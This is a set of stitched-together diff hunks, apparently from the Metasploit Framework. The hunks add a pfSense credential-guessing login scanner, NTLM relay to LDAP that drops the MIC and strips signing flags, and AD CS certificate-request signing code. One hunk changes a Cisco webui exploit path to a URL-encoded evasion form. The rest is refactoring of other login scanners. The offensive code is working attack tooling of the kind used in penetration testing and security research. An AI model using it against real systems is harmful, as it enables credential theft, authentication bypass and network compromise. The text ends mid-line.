//===============================================================================================//
|
||||
#ifndef _VNCDLL_LOADER_PS_H
|
||||
#define _VNCDLL_LOADER_PS_H
|
||||
|
||||
-27
@@ -1,30 +1,3 @@
|
||||
// Copyright (C) 2006-2010, Rapid7, Inc
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification,
|
||||
// are permitted provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice,
|
||||
// this list of conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice,
|
||||
// this list of conditions and the following disclaimer in the documentation
|
||||
// and/or other materials provided with the distribution.
|
||||
//
|
||||
// * Neither the name of Rapid7, Inc nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _VNCDLL_LOADER_SESSION_H
|
||||
#define _VNCDLL_LOADER_SESSION_H
|
||||
|
||||
@@ -13,7 +13,7 @@ module SessionDataProxy
|
||||
def report_session(opts)
|
||||
begin
|
||||
self.data_service_operation do |data_service|
|
||||
add_opts_workspace(opts)
|
||||
add_opts_workspace(opts, opts.fetch(:workspace, opts[:session]&.workspace))
|
||||
data_service.report_session(opts)
|
||||
end
|
||||
rescue => e
|
||||
|
||||
@@ -19,15 +19,7 @@ module Metasploit
|
||||
# classes that will probably give useful results when run
|
||||
# against `service`.
|
||||
def self.classes_for_service(service)
|
||||
|
||||
unless @required
|
||||
# Make sure we've required all the scanner classes
|
||||
dir = File.expand_path("../login_scanner/", __FILE__)
|
||||
Dir.glob(File.join(dir, "*.rb")).each do |f|
|
||||
require f if File.file?(f)
|
||||
end
|
||||
@required = true
|
||||
end
|
||||
require_login_scanners
|
||||
|
||||
self.constants.map{|sym| const_get(sym)}.select do |const|
|
||||
next unless const.kind_of?(Class)
|
||||
@@ -42,6 +34,34 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
def self.all_service_names
|
||||
require_login_scanners
|
||||
|
||||
service_names = Set.new
|
||||
self.constants.map{|sym| const_get(sym)}.select do |const|
|
||||
next unless const.kind_of?(Class)
|
||||
next unless const.const_defined?(:LIKELY_SERVICE_NAMES)
|
||||
|
||||
const.const_get(:LIKELY_SERVICE_NAMES).each do |service_name|
|
||||
service_names << service_name
|
||||
end
|
||||
end
|
||||
|
||||
service_names
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def self.require_login_scanners
|
||||
unless @required
|
||||
# Make sure we've required all the scanner classes
|
||||
dir = File.expand_path("../login_scanner/", __FILE__)
|
||||
Dir.glob(File.join(dir, "*.rb")).each do |f|
|
||||
require f if File.file?(f)
|
||||
end
|
||||
@required = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -16,10 +16,7 @@ module Metasploit
|
||||
PRIVATE_TYPES = [:password]
|
||||
REALM_KEY = nil
|
||||
|
||||
def initialize(scanner_config, admin)
|
||||
@admin = admin
|
||||
super(scanner_config)
|
||||
end
|
||||
attr_accessor :use_admin_endpoint
|
||||
|
||||
def check_setup
|
||||
request_params = {
|
||||
@@ -138,7 +135,7 @@ module Metasploit
|
||||
|
||||
def do_login(username, password)
|
||||
protocol = ssl ? 'https' : 'http'
|
||||
peer = "#{host}:#{port}"
|
||||
peer = Rex::Socket.to_authority(host, port)
|
||||
user_req = create_user_request(username, password, protocol, peer)
|
||||
begin
|
||||
res = send_request(user_req)
|
||||
@@ -178,7 +175,7 @@ module Metasploit
|
||||
service_name: 'ivanti'
|
||||
}
|
||||
|
||||
if @admin
|
||||
if @use_admin_endpoint
|
||||
login_result = do_admin_login(credential.public, credential.private)
|
||||
else
|
||||
login_result = do_login(credential.public, credential.private)
|
||||
|
||||
@@ -0,0 +1,116 @@
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# This is the LoginScanner class for dealing with Netgate pfSense instances.
|
||||
# It is responsible for taking a single target, and a list of credentials
|
||||
# and attempting them. It then saves the results.
|
||||
class PfSense < HTTP
|
||||
LOGIN_ENDPOINT = 'index.php'
|
||||
|
||||
# Checks if the target is pfSense. The login module should call this.
|
||||
#
|
||||
# @return [Boolean, String] FalseClass if target is pfSense, otherwise String
|
||||
def check_setup
|
||||
request_params = {
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(@uri.to_s, LOGIN_ENDPOINT)
|
||||
}
|
||||
res = send_request(request_params)
|
||||
|
||||
if res&.code == 200 && res.body&.include?('Login to pfSense')
|
||||
return false
|
||||
end
|
||||
|
||||
"Unable to locate \"Login to pfSense\" in body. (Is this really pfSense?)"
|
||||
end
|
||||
|
||||
def query_csrf_magic
|
||||
request_params = {
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(@uri.to_s, LOGIN_ENDPOINT)
|
||||
}
|
||||
|
||||
res = send_request(request_params)
|
||||
|
||||
if res.nil?
|
||||
return { status: :failure, error: 'Did not receive response to a GET request' }
|
||||
end
|
||||
|
||||
if res.code != 200
|
||||
return { status: :failure, error: "Unexpected return code from GET request - #{res.code}" }
|
||||
end
|
||||
|
||||
# CSRF Magic Token and Magic Value are inlined as JavaScript in a <script> tag.
|
||||
# It can also be extracted from the Nokogiri::HTML(res.body).search('form') form.
|
||||
csrf_magic_token, csrf_magic_name = res.body.match(/var csrfMagicToken = "(?<magic_token>.*)";var csrfMagicName = "(?<magic_name>.*)";/).captures
|
||||
if csrf_magic_token.nil? || csrf_magic_name.nil?
|
||||
return { status: :failure, error: "Could not find magic CSRF values. csrf_magic_token: '#{csrf_magic_token}', csrf_magic_name: '#{csrf_magic_name}'" }
|
||||
end
|
||||
|
||||
{ status: :success, result: { csrf_magic_token: csrf_magic_token, csrf_magic_name: csrf_magic_name } }
|
||||
end
|
||||
|
||||
# Each individual login needs their own CSRF magic header.
|
||||
# This header comes from a GET request to the index.php page
|
||||
def try_login(username, password, csrf_magic)
|
||||
request_params =
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.to_s, LOGIN_ENDPOINT),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'usernamefld' => username,
|
||||
'passwordfld' => password,
|
||||
csrf_magic[:csrf_magic_name] => csrf_magic[:csrf_magic_token],
|
||||
'login' => ::URI.encode_www_form_component('Sign In')
|
||||
}
|
||||
}
|
||||
|
||||
{ status: :success, result: send_request(request_params) }
|
||||
end
|
||||
|
||||
def attempt_login(credential)
|
||||
result_options = {
|
||||
credential: credential,
|
||||
host: @host,
|
||||
port: @port,
|
||||
protocol: 'tcp',
|
||||
service_name: 'pfsense'
|
||||
}
|
||||
|
||||
# Each login needs its own csrf magic tokens
|
||||
csrf_magic = query_csrf_magic
|
||||
|
||||
if csrf_magic[:status] != :success
|
||||
result_options.merge!(status: ::Metasploit::Model::Login::Status::UNTRIED, proof: csrf_magic[:error])
|
||||
return Result.new(result_options)
|
||||
end
|
||||
|
||||
login_result = try_login(credential.public, credential.private, csrf_magic[:result])
|
||||
|
||||
if login_result[:result].nil?
|
||||
result_options.merge!(status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to pfSense')
|
||||
return Result.new(result_options)
|
||||
end
|
||||
|
||||
# 200 is incorrect result
|
||||
if login_result[:result].code == 200 || login_result[:result].body.include?('Username or Password incorrect')
|
||||
result_options.merge!(status: ::Metasploit::Model::Login::Status::INCORRECT, proof: 'Username or Password incorrect')
|
||||
return Result.new(result_options)
|
||||
end
|
||||
|
||||
login_status = login_result[:result].code == 302 ? ::Metasploit::Model::Login::Status::SUCCESSFUL : ::Metasploit::Model::Login::Status::INCORRECT
|
||||
result_options.merge!(status: login_status, proof: login_result[:result])
|
||||
Result.new(result_options)
|
||||
|
||||
rescue ::Rex::ConnectionError => _e
|
||||
result_options.merge!(status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to pfSense')
|
||||
return Result.new(result_options)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -16,10 +16,7 @@ module Metasploit
|
||||
PRIVATE_TYPES = [:password]
|
||||
REALM_KEY = nil
|
||||
|
||||
def initialize(scanner_config, domain)
|
||||
@domain = domain
|
||||
super(scanner_config)
|
||||
end
|
||||
attr_accessor :domain
|
||||
|
||||
def req_params_base
|
||||
{
|
||||
@@ -38,7 +35,7 @@ module Metasploit
|
||||
# Admin and SSLVPN user login procedure differs only in usage of domain field in JSON data
|
||||
#
|
||||
params.merge!({
|
||||
'data' => JSON.pretty_generate(@domain.empty? ? {
|
||||
'data' => JSON.pretty_generate(@domain.blank? ? {
|
||||
'override' => false,
|
||||
'snwl' => true
|
||||
} : { 'domain' => @domain, 'override' => false, 'snwl' => true })
|
||||
@@ -98,7 +95,11 @@ module Metasploit
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Waiting too long in lockout' } if depth >= 2
|
||||
|
||||
#-- get authentication details from first request
|
||||
res = get_auth_details(username, password)
|
||||
begin
|
||||
res = get_auth_details(username, password)
|
||||
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError => e
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e }
|
||||
end
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Invalid response' } unless res
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Failed to receive a authentication details' } unless res&.headers && res.headers.key?('X-SNWL-Authenticate')
|
||||
|
||||
@@ -125,7 +125,9 @@ module Metasploit
|
||||
LIKELY_SERVICE_NAMES = [
|
||||
# Comes from nmap 7.95 on MacOS
|
||||
'skynetflow',
|
||||
'teamcity'
|
||||
'teamcity',
|
||||
'http',
|
||||
'https'
|
||||
]
|
||||
PRIVATE_TYPES = [:password]
|
||||
REALM_KEY = nil
|
||||
|
||||
@@ -32,7 +32,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.4.52"
|
||||
VERSION = "6.4.57"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -42,7 +42,17 @@ class Msf::Sessions::LDAP
|
||||
session = self
|
||||
session.init_ui(user_input, user_output)
|
||||
|
||||
@info = "LDAP #{datastore['USERNAME']} @ #{@peer_info}"
|
||||
username = datastore['USERNAME']
|
||||
if username.blank?
|
||||
begin
|
||||
whoami = client.ldapwhoami
|
||||
rescue Net::LDAP::Error => e
|
||||
ilog('ldap session opened with no username and the target does not support the LDAP whoami extension')
|
||||
else
|
||||
username = whoami.delete_prefix('u:').split('\\').last
|
||||
end
|
||||
end
|
||||
@info = "LDAP #{username} @ #{@peer_info}"
|
||||
end
|
||||
|
||||
def execute_file(full_path, args)
|
||||
|
||||
@@ -307,13 +307,14 @@ module Auxiliary::Report
|
||||
|
||||
# report_vuln is only called in an identified case, consider setting value reported here
|
||||
attempt_info = {
|
||||
:workspace => opts[:workspace],
|
||||
:vuln_id => vuln.id,
|
||||
:attempted_at => timestamp || Time.now.utc,
|
||||
:exploited => false,
|
||||
:fail_detail => 'vulnerability identified',
|
||||
:fail_reason => 'Untried', # Mdm::VulnAttempt::Status::UNTRIED, avoiding direct dependency on Mdm, used elsewhere in this module
|
||||
:module => mname,
|
||||
:username => username || "unknown",
|
||||
:username => username || "unknown"
|
||||
}
|
||||
|
||||
# TODO: figure out what opts are required and why the above logic doesn't match that of the db_manager method
|
||||
|
||||
@@ -57,7 +57,7 @@ module Msf
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => '/%2577ebui_wsma_https',
|
||||
'uri' => datastore['SSL'] == true ? '/%2577eb%2575i_%2577sma_hTtPs' : '/%2577eb%2575i_%2577sma_hTtP',
|
||||
'data' => xml
|
||||
)
|
||||
|
||||
|
||||
@@ -238,9 +238,9 @@ module Msf
|
||||
# @param auth_pack [Rex::Proto::Kerberos::Model::Pkinit::AuthPack] The AuthPack to sign
|
||||
# @param key [OpenSSL::PKey] The private key to digitally sign the data
|
||||
# @param dh [OpenSSL::X509::Certificate] The certificate associated with the private key
|
||||
# @return [Rex::Proto::Kerberos::Model::Pkinit::ContentInfo] The signed AuthPack
|
||||
# @return [Rex::Proto::CryptoAsn1::Cms::ContentInfo] The signed AuthPack
|
||||
def sign_auth_pack(auth_pack, key, certificate)
|
||||
signer_info = Rex::Proto::Kerberos::Model::Pkinit::SignerInfo.new(
|
||||
signer_info = Rex::Proto::CryptoAsn1::Cms::SignerInfo.new(
|
||||
version: 1,
|
||||
sid: {
|
||||
issuer: certificate.issuer,
|
||||
@@ -268,7 +268,7 @@ module Msf
|
||||
|
||||
signer_info[:signature] = signature
|
||||
|
||||
signed_data = Rex::Proto::Kerberos::Model::Pkinit::SignedData.new(
|
||||
signed_data = Rex::Proto::CryptoAsn1::Cms::SignedData.new(
|
||||
version: 3,
|
||||
digest_algorithms: [
|
||||
{
|
||||
@@ -283,9 +283,9 @@ module Msf
|
||||
signer_infos: [signer_info]
|
||||
)
|
||||
|
||||
Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.new(
|
||||
Rex::Proto::CryptoAsn1::Cms::ContentInfo.new(
|
||||
content_type: Rex::Proto::Kerberos::Model::OID::SignedData,
|
||||
signed_data: signed_data
|
||||
data: signed_data
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -30,9 +30,9 @@ module Msf
|
||||
Opt::RHOST,
|
||||
Opt::RPORT(389),
|
||||
OptBool.new('SSL', [false, 'Enable SSL on the LDAP connection', false]),
|
||||
Msf::OptString.new('DOMAIN', [false, 'The domain to authenticate to']),
|
||||
Msf::OptString.new('USERNAME', [false, 'The username to authenticate with'], aliases: ['BIND_DN']),
|
||||
Msf::OptString.new('PASSWORD', [false, 'The password to authenticate with'], aliases: ['BIND_PW'])
|
||||
Msf::OptString.new('LDAPDomain', [false, 'The domain to authenticate to'], fallbacks: ['DOMAIN']),
|
||||
Msf::OptString.new('LDAPUsername', [false, 'The username to authenticate with'], fallbacks: %w[USERNAME BIND_DN]),
|
||||
Msf::OptString.new('LDAPPassword', [false, 'The password to authenticate with'], fallbacks: %w[PASSWORD BIND_PW])
|
||||
])
|
||||
|
||||
register_advanced_options(
|
||||
@@ -76,9 +76,9 @@ module Msf
|
||||
# LDAP server.
|
||||
def get_connect_opts
|
||||
opts = {
|
||||
username: datastore['USERNAME'],
|
||||
password: datastore['PASSWORD'],
|
||||
domain: datastore['DOMAIN'],
|
||||
username: datastore['LDAPUsername'],
|
||||
password: datastore['LDAPPassword'],
|
||||
domain: datastore['LDAPDomain'],
|
||||
base: datastore['BASE_DN'],
|
||||
domain_controller_rhost: datastore['DomainControllerRhost'],
|
||||
ldap_auth: datastore['LDAP::Auth'],
|
||||
|
||||
@@ -30,6 +30,7 @@ module Exploit::Remote::MsIcpr
|
||||
class MsIcprError < StandardError; end
|
||||
class MsIcprConnectionError < MsIcprError; end
|
||||
class MsIcprAuthenticationError < MsIcprError; end
|
||||
class MsIcprAuthorizationError < MsIcprError; end
|
||||
class MsIcprNotFoundError < MsIcprError; end
|
||||
class MsIcprUnexpectedReplyError < MsIcprError; end
|
||||
class MsIcprUnknownError < MsIcprError; end
|
||||
@@ -91,7 +92,7 @@ module Exploit::Remote::MsIcpr
|
||||
rescue RubySMB::Error::UnexpectedStatusCode => e
|
||||
if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
|
||||
# STATUS_OBJECT_NAME_NOT_FOUND will be the status if Active Directory Certificate Service (AD CS) is not installed on the target
|
||||
raise MsIcprNotFoundError, 'Connection failed (AD CS was not found)'
|
||||
raise MsIcprNotFoundError, 'Connection failed (AD CS was not found).'
|
||||
end
|
||||
|
||||
elog(e.message, error: e)
|
||||
@@ -192,6 +193,17 @@ module Exploit::Remote::MsIcpr
|
||||
print_error(" Source: #{hresult.facility}") if hresult.facility
|
||||
print_error(" HRESULT: #{hresult}")
|
||||
end
|
||||
|
||||
case hresult
|
||||
when ::WindowsError::HResult::CERTSRV_E_ENROLL_DENIED
|
||||
raise MsIcprAuthorizationError.new(hresult.description)
|
||||
when ::WindowsError::HResult::CERTSRV_E_TEMPLATE_DENIED
|
||||
raise MsIcprAuthorizationError.new(hresult.description)
|
||||
when ::WindowsError::HResult::CERTSRV_E_UNSUPPORTED_CERT_TYPE
|
||||
raise MsIcprNotFoundError.new(hresult.description)
|
||||
else
|
||||
raise MsIcprUnknownError.new(hresult.description)
|
||||
end
|
||||
end
|
||||
|
||||
return unless response[:certificate]
|
||||
@@ -239,8 +251,8 @@ module Exploit::Remote::MsIcpr
|
||||
workspace_id: myworkspace_id,
|
||||
username: upn || datastore['SMBUser'],
|
||||
private_type: :pkcs12,
|
||||
# pkcs12 is a binary format, but for persisting we Base64 encode it
|
||||
private_data: Base64.strict_encode64(pkcs12.to_der),
|
||||
private_metadata: { adcs_ca: datastore['CA'], adcs_template: cert_template },
|
||||
origin_type: :service,
|
||||
module_fullname: fullname
|
||||
}
|
||||
@@ -306,7 +318,7 @@ module Exploit::Remote::MsIcpr
|
||||
# @param [OpenSSL::X509::Certificate] cert The public key to use for signing the request.
|
||||
# @param [OpenSSL::PKey::RSA] key The private key to use for signing the request.
|
||||
# @param [String] algorithm The digest algorithm to use.
|
||||
# @return [Rex::Proto::Kerberos::Model::Pkinit::ContentInfo] The signed request content.
|
||||
# @return [Rex::Proto::CryptoAsn1::Cms::ContentInfo] The signed request content.
|
||||
def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256')
|
||||
# algorithm needs to be one that OpenSSL supports, but we also need the OID constants defined
|
||||
digest = OpenSSL::Digest.new(algorithm)
|
||||
@@ -316,7 +328,7 @@ module Exploit::Remote::MsIcpr
|
||||
|
||||
digest_oid = Rex::Proto::Kerberos::Model::OID.const_get(digest.name)
|
||||
|
||||
signer_info = Rex::Proto::Kerberos::Model::Pkinit::SignerInfo.new(
|
||||
signer_info = Rex::Proto::CryptoAsn1::Cms::SignerInfo.new(
|
||||
version: 1,
|
||||
sid: {
|
||||
issuer: cert.issuer,
|
||||
@@ -349,7 +361,7 @@ module Exploit::Remote::MsIcpr
|
||||
|
||||
signer_info[:signature] = signature
|
||||
|
||||
signed_data = Rex::Proto::Kerberos::Model::Pkinit::SignedData.new(
|
||||
signed_data = Rex::Proto::CryptoAsn1::Cms::SignedData.new(
|
||||
version: 3,
|
||||
digest_algorithms: [
|
||||
{
|
||||
@@ -364,9 +376,9 @@ module Exploit::Remote::MsIcpr
|
||||
signer_infos: [signer_info]
|
||||
)
|
||||
|
||||
Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.new(
|
||||
Rex::Proto::CryptoAsn1::Cms::ContentInfo.new(
|
||||
content_type: Rex::Proto::Kerberos::Model::OID::SignedData,
|
||||
signed_data: signed_data
|
||||
data: signed_data
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
@@ -92,7 +92,7 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
return response
|
||||
end
|
||||
|
||||
relay_result = self.relay_ntlmssp(session, request.buffer)
|
||||
relay_result = self.relay_ntlmssp(session, request.buffer.to_binary_s)
|
||||
return if relay_result.nil?
|
||||
|
||||
response = ::RubySMB::SMB2::Packet::SessionSetupResponse.new
|
||||
@@ -103,7 +103,7 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
response.smb2_header.nt_status = relay_result.nt_status.value
|
||||
if relay_result.nt_status == ::WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
|
||||
response.smb2_header.nt_status = ::WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED.value
|
||||
response.buffer = relay_result.message.serialize
|
||||
response.buffer = relay_result.message.serialize if relay_result.message
|
||||
|
||||
if @dialect == '0x0311'
|
||||
update_preauth_hash(response)
|
||||
@@ -142,7 +142,18 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
# Choose the next machine to relay to, and send the incoming security buffer to the relay target
|
||||
if ntlm_message.is_a?(::Net::NTLM::Message::Type1)
|
||||
relayed_connection = session.metadata[:relayed_connection]
|
||||
logger.info("Relaying NTLM type 1 message to #{relayed_connection.target.ip} (Always Sign: #{ntlm_message.has_flag?(:ALWAYS_SIGN)}, Sign: #{ntlm_message.has_flag?(:SIGN)}, Seal: #{ntlm_message.has_flag?(:SEAL)})")
|
||||
logger.info(
|
||||
"Relaying NTLM type 1 message to #{relayed_connection.target} "\
|
||||
"(Always Sign: #{ntlm_message.has_flag?(:ALWAYS_SIGN)}, "\
|
||||
"Sign: #{ntlm_message.has_flag?(:SIGN)}, Seal: #{ntlm_message.has_flag?(:SEAL)})"
|
||||
)
|
||||
|
||||
if relayed_connection.target.drop_mic_and_sign_key_exch_flags
|
||||
incoming_security_buffer = do_drop_mic_and_flags(ntlm_message)
|
||||
elsif relayed_connection.target.drop_mic_only
|
||||
incoming_security_buffer = do_drop_mic(ntlm_message)
|
||||
end
|
||||
|
||||
relay_result = relayed_connection.relay_ntlmssp_type1(incoming_security_buffer)
|
||||
return nil unless relay_result&.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
|
||||
|
||||
@@ -161,6 +172,13 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
elsif ntlm_message.is_a?(::Net::NTLM::Message::Type3)
|
||||
relayed_connection = session.metadata[:relayed_connection]
|
||||
logger.info("Relaying #{ntlm_message.ntlm_version == :ntlmv2 ? 'NTLMv2' : 'NTLMv1'} type 3 message to #{relayed_connection.target} as #{session.metadata[:identity]}")
|
||||
|
||||
if relayed_connection.target.drop_mic_and_sign_key_exch_flags
|
||||
incoming_security_buffer = do_drop_mic_and_flags(ntlm_message)
|
||||
elsif relayed_connection.target.drop_mic_only
|
||||
incoming_security_buffer = do_drop_mic(ntlm_message)
|
||||
end
|
||||
|
||||
relay_result = relayed_connection.relay_ntlmssp_type3(incoming_security_buffer)
|
||||
|
||||
is_success = relay_result&.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
|
||||
@@ -212,6 +230,8 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
client = Target::HTTP::Client.create(self, target, logger, timeout)
|
||||
when :smb
|
||||
client = Target::SMB::Client.create(self, target, logger, timeout)
|
||||
when :ldap
|
||||
client = Target::LDAP::Client.create(self, target, logger, timeout)
|
||||
else
|
||||
raise RuntimeError, "unsupported protocol: #{target.protocol}"
|
||||
end
|
||||
@@ -228,5 +248,22 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
logger.print_error msg
|
||||
nil
|
||||
end
|
||||
|
||||
|
||||
private
|
||||
|
||||
def do_drop_mic(ntlm_message)
|
||||
logger.info('Dropping MIC')
|
||||
ntlm_message.serialize
|
||||
end
|
||||
|
||||
def do_drop_mic_and_flags(ntlm_message)
|
||||
logger.info('Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`')
|
||||
flags = ntlm_message.flag
|
||||
flags &= ~Net::NTLM::FLAGS[:ALWAYS_SIGN] & ~Net::NTLM::FLAGS[:SIGN] & ~Net::NTLM::FLAGS[:KEY_EXCHANGE]
|
||||
ntlm_message.flag = flags
|
||||
ntlm_message.serialize
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
require 'rex/proto/ldap/auth_adapter'
|
||||
|
||||
module Msf::Exploit::Remote::SMB::Relay::NTLM::Target::LDAP
|
||||
# The LDAP Client for interacting with the relayed_target
|
||||
# This isn't actually a Rex::Proto::LDAP::Client instance, but rather a Net::LDAP::Connection instance because of the
|
||||
# state requirements of the relay operations
|
||||
class Client < Net::LDAP::Connection
|
||||
attr_accessor :timeout
|
||||
attr_reader :target
|
||||
|
||||
def initialize(server, provider: nil, target: nil, logger: nil, timeout: DefaultConnectTimeout)
|
||||
@logger = logger
|
||||
@provider = provider
|
||||
@target = target
|
||||
@timeout = server[:connect_timeout] || timeout
|
||||
super(server)
|
||||
end
|
||||
|
||||
def self.create(provider, target, logger, timeout)
|
||||
new(
|
||||
{
|
||||
host: target.ip,
|
||||
port: target.port,
|
||||
connect_timeout: timeout
|
||||
},
|
||||
provider: provider,
|
||||
target: target,
|
||||
logger: logger
|
||||
)
|
||||
end
|
||||
|
||||
alias :disconnect! :close
|
||||
|
||||
# @param [String] client_type1_msg
|
||||
# @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil]
|
||||
def relay_ntlmssp_type1(client_type1_msg)
|
||||
ntlm_message = Net::NTLM::Message.parse(client_type1_msg)
|
||||
if ntlm_message.has_flag?(:SIGN)
|
||||
logger.print_warning('Relay client\'s NTLM type 1 message requests signing, relaying to LDAP will not work')
|
||||
end
|
||||
|
||||
pdu = bind(method: :rex_relay_ntlm, ntlm_message: client_type1_msg)
|
||||
|
||||
unless pdu.result_code == Net::LDAP::ResultCodeSaslBindInProgress
|
||||
return Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(
|
||||
nt_status: WindowsError::NTStatus::STATUS_LOGON_FAILURE
|
||||
)
|
||||
end
|
||||
|
||||
server_type2_message = pdu.result_server_sasl_creds.to_s
|
||||
|
||||
Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(
|
||||
message: Net::NTLM::Message.parse(server_type2_message),
|
||||
nt_status: WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
|
||||
)
|
||||
end
|
||||
|
||||
# @param [String] client_type3_msg
|
||||
# @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil]
|
||||
def relay_ntlmssp_type3(client_type3_msg)
|
||||
ntlm_message = Net::NTLM::Message.parse(client_type3_msg)
|
||||
if ntlm_message.ntlm_version == :ntlmv2
|
||||
logger.print_warning('Relay client\'s NTLM type 3 message is NTLMv2, relaying to LDAP will not work')
|
||||
end
|
||||
|
||||
pdu = bind(method: :rex_relay_ntlm, ntlm_message: client_type3_msg)
|
||||
|
||||
case pdu.result_code
|
||||
when Net::LDAP::ResultCodeSuccess
|
||||
nt_status = WindowsError::NTStatus::STATUS_SUCCESS
|
||||
when Net::LDAP::ResultCodeInvalidCredentials
|
||||
nt_status = WindowsError::NTStatus::STATUS_LOGON_FAILURE
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
||||
Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(nt_status: nt_status)
|
||||
end
|
||||
|
||||
# Instantiate a Rex::Proto::LDAP::Client that can be used as a normal LDAP client.
|
||||
# This is mainly used to setup an LDAP session.
|
||||
#
|
||||
# @return [Rex::Proto::LDAP::Client]
|
||||
def create_ldap_client
|
||||
client = Rex::Proto::LDAP::Client.new(
|
||||
host: @target.ip,
|
||||
port: @target.port,
|
||||
auth: { method: :rex_relay_ntlm },
|
||||
connect_timeout: @timeout
|
||||
)
|
||||
client.connection = self
|
||||
client
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_reader :logger
|
||||
end
|
||||
end
|
||||
|
||||
@@ -6,7 +6,7 @@ module Msf::Exploit::Remote::SMB::Relay
|
||||
include MonitorMixin
|
||||
|
||||
# @param [String] targets
|
||||
def initialize(protocol, port, targets, path=nil, randomize_targets: true)
|
||||
def initialize(protocol, port, targets, path=nil, randomize_targets: true, drop_mic_only: false, drop_mic_and_sign_key_exch_flags: false)
|
||||
super()
|
||||
|
||||
targets = Rex::Socket::RangeWalker.new(targets).to_enum(:each_ip).map do |target_ip|
|
||||
@@ -14,7 +14,9 @@ module Msf::Exploit::Remote::SMB::Relay
|
||||
ip: target_ip,
|
||||
port: port,
|
||||
protocol: protocol,
|
||||
path: path
|
||||
path: path,
|
||||
drop_mic_only: drop_mic_only,
|
||||
drop_mic_and_sign_key_exch_flags: drop_mic_and_sign_key_exch_flags
|
||||
)
|
||||
end
|
||||
@targets = randomize_targets ? targets.shuffle : targets
|
||||
@@ -62,7 +64,7 @@ module Msf::Exploit::Remote::SMB::Relay
|
||||
end
|
||||
|
||||
class Target
|
||||
def initialize(ip:, port:, protocol:, path: nil)
|
||||
